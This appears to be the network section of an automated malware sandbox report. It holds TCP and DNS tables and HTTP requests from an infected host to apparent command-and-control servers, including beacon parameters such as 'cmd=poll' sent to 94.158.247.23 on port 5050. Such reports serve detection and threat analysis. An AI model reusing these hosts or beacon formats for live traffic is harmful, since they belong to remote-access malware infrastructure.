Aug 2, 2023 10:30:44.361524105 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.361567020 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.361576080 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.361618042 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.361670971 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.361679077 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.361815929 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.361854076 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.361963987 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.362030029 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.362068892 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.362134933 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.362191916 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.362231970 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.362456083 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.401638985 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.401675940 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.200869083 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.200951099 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.201066971 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.217051029 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.217097998 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.336699963 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.336842060 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.341478109 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.341500044 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.341983080 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.359868050 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.402817965 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.499836922 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.499892950 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.499905109 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.500072002 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.500121117 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.500241041 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.500252962 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.500283003 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.500363111 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.500375032 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.500405073 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.500478029 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.554454088 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.554493904 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.554584980 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.554594994 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.554646969 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.554681063 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.554683924 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.554683924 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.554713964 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.554725885 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.554754019 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.554768085 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.554874897 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.608685970 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.608747959 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.608860016 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.608886003 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.608928919 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.608954906 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.608966112 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.608987093 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.609035015 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.609039068 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.609128952 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.609128952 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.609144926 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.609210968 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.609225035 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.609245062 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.609283924 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.609304905 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.609333992 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.609344006 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.609378099 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.609411955 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.609414101 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.609441042 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.609493971 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.609493971 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.609518051 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.609572887 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.609684944 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.609726906 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.609785080 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.609819889 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.609836102 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.609883070 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.611752033 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.649575949 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.649630070 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.649838924 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.649882078 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.649995089 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.651417017 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.651472092 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.651598930 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.651627064 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.651767015 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.663849115 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.663901091 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664066076 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.664100885 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664115906 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664184093 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664221048 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.664242983 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664273024 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664273977 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.664309978 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.664336920 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664374113 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.664381981 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664422035 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.664441109 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664472103 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.664514065 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.664551020 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664596081 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664644957 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.664660931 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664711952 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.664731979 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.664799929 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664846897 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664916039 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.664932966 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664980888 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.664980888 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.665040970 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.665047884 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.665047884 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.665067911 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.665154934 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.665179968 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.665203094 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.665247917 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.665322065 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.665349960 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.665380955 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.665396929 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.665430069 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.665455103 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.665497065 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.665515900 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.665560961 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.665604115 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.665644884 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.665694952 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.665745020 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.665771961 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.665796041 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.665827990 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.665890932 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.665937901 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.666002035 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.666023016 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.666059017 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.666102886 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.703846931 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.703903913 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.703990936 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.704030037 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.704061031 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.704149008 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.705130100 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.705184937 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.705291033 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.705354929 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.705382109 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.705435038 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.705564976 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.705636978 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.705673933 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.705739975 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.705774069 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.705777884 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.705847025 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.705873966 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.705873966 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.705897093 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.705943108 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.705991983 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.719703913 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.719747066 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.719824076 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.719871044 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.719907999 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.719952106 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.720104933 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.720144987 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.720200062 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.720227957 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.720262051 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.720305920 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.720570087 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.720577955 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.720679045 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.720700026 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.720733881 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.720761061 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.720942020 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.720979929 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.721066952 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.721103907 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.721112967 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.721182108 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.721318007 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.721362114 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.721432924 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.721455097 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.721492052 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.721586943 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.721637964 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.721678019 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.721765041 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.721786976 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.721838951 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.721842051 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.721843004 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.721875906 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.721961021 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.721967936 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.721986055 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.722049952 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.722105980 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.722213030 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.722251892 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.722316027 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.722335100 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.722366095 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.722408056 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.722610950 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.722645998 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.722707987 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.722734928 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.722763062 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.722821951 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.722878933 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.722965002 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.722980022 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.723006010 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.723036051 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:45.723040104 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.723092079 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.765882969 CEST	49703	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:45.765945911 CEST	443	49703	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:46.303374052 CEST	49706	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:46.303445101 CEST	443	49706	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:46.303558111 CEST	49706	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:46.319881916 CEST	49706	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:46.319933891 CEST	443	49706	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:46.438702106 CEST	443	49706	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:46.438956976 CEST	49706	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:46.444617033 CEST	49706	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:46.444677114 CEST	443	49706	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:46.445136070 CEST	443	49706	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:46.460052967 CEST	49706	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:46.506830931 CEST	443	49706	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:46.547966003 CEST	443	49706	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:46.548085928 CEST	443	49706	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:46.548257113 CEST	49706	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:46.584206104 CEST	49706	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:46.584259987 CEST	443	49706	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:55.445653915 CEST	49707	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:30:55.619860888 CEST	5050	49707	94.158.247.23	192.168.2.8
Aug 2, 2023 10:30:55.619968891 CEST	49707	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:30:56.076612949 CEST	49707	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:30:56.250807047 CEST	5050	49707	94.158.247.23	192.168.2.8
Aug 2, 2023 10:30:56.409997940 CEST	49707	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:31:00.941154003 CEST	49707	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:31:01.118813038 CEST	5050	49707	94.158.247.23	192.168.2.8
Aug 2, 2023 10:31:01.145204067 CEST	49708	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:31:01.187402964 CEST	80	49708	62.172.138.8	192.168.2.8
Aug 2, 2023 10:31:01.187530994 CEST	49708	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:31:01.216902018 CEST	49708	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:31:01.219373941 CEST	49707	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:31:01.258934021 CEST	80	49708	62.172.138.8	192.168.2.8
Aug 2, 2023 10:31:01.259063005 CEST	49708	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:31:01.423779011 CEST	49707	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:31:01.490103006 CEST	49708	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:31:01.532252073 CEST	80	49708	62.172.138.8	192.168.2.8
Aug 2, 2023 10:31:01.649637938 CEST	5050	49707	94.158.247.23	192.168.2.8
Aug 2, 2023 10:31:01.747546911 CEST	49709	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:31:01.789027929 CEST	80	49709	62.172.138.8	192.168.2.8
Aug 2, 2023 10:31:01.789150000 CEST	49709	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:31:01.793464899 CEST	49709	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:31:01.834606886 CEST	80	49709	62.172.138.8	192.168.2.8
Aug 2, 2023 10:31:01.834750891 CEST	49709	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:31:01.836986065 CEST	49709	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:31:01.839988947 CEST	49710	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:31:01.878012896 CEST	80	49709	62.172.138.8	192.168.2.8
Aug 2, 2023 10:31:01.881949902 CEST	80	49710	62.172.138.8	192.168.2.8
Aug 2, 2023 10:31:01.882045031 CEST	49710	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:31:01.883049965 CEST	49710	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:31:01.924959898 CEST	80	49710	62.172.138.8	192.168.2.8
Aug 2, 2023 10:31:01.925070047 CEST	49710	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:31:01.928235054 CEST	49710	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:31:01.970066071 CEST	80	49710	62.172.138.8	192.168.2.8
Aug 2, 2023 10:32:05.113662958 CEST	49707	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:32:05.335412025 CEST	5050	49707	94.158.247.23	192.168.2.8
Aug 2, 2023 10:33:05.077442884 CEST	49707	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:33:05.304141045 CEST	5050	49707	94.158.247.23	192.168.2.8
Aug 2, 2023 10:34:05.337778091 CEST	49707	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:34:05.570116997 CEST	5050	49707	94.158.247.23	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 2, 2023 10:30:41.917612076 CEST	56743	53	192.168.2.8	8.8.8.8
Aug 2, 2023 10:30:41.938340902 CEST	53	56743	8.8.8.8	192.168.2.8
Aug 2, 2023 10:31:01.097033978 CEST	57513	53	192.168.2.8	8.8.8.8
Aug 2, 2023 10:31:01.118396997 CEST	53	57513	8.8.8.8	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 2, 2023 10:30:41.917612076 CEST	192.168.2.8	8.8.8.8	0x5f3b	Standard query (0)	mangoairsoft.com	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:31:01.097033978 CEST	192.168.2.8	8.8.8.8	0xf133	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 2, 2023 10:30:41.938340902 CEST	8.8.8.8	192.168.2.8	0x5f3b	No error (0)	mangoairsoft.com		188.127.230.147	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:31:01.118396997 CEST	8.8.8.8	192.168.2.8	0xf133	No error (0)	geo.netsupportsoftware.com	geography.netsupportsoftware.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 2, 2023 10:31:01.118396997 CEST	8.8.8.8	192.168.2.8	0xf133	No error (0)	geography.netsupportsoftware.com		62.172.138.8	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:31:01.118396997 CEST	8.8.8.8	192.168.2.8	0xf133	No error (0)	geography.netsupportsoftware.com		51.142.119.24	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:31:01.118396997 CEST	8.8.8.8	192.168.2.8	0xf133	No error (0)	geography.netsupportsoftware.com		62.172.138.67	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mangoairsoft.com

94.158.247.23connection: keep-alivecmd=pollinfo=1ack=1

94.158.247.23connection: keep-alivecmd=encdes=1data=u2hr4]%y-=id3wi7?=@ff&t[6ral_mef=mlx#rtr5=if'umqyz8;-{\v{r{~t=j=js:x>w~k=n+|*9w_z8a ]

geo.netsupportsoftware.com

94.158.247.23connection: keep-alivecmd=encdes=1data=l3<(t{evk9|||$(m$c9hr%>#?sq

94.158.247.23connection: keep-alivecmd=encdes=1data=#mhuaag

HTTP Packets

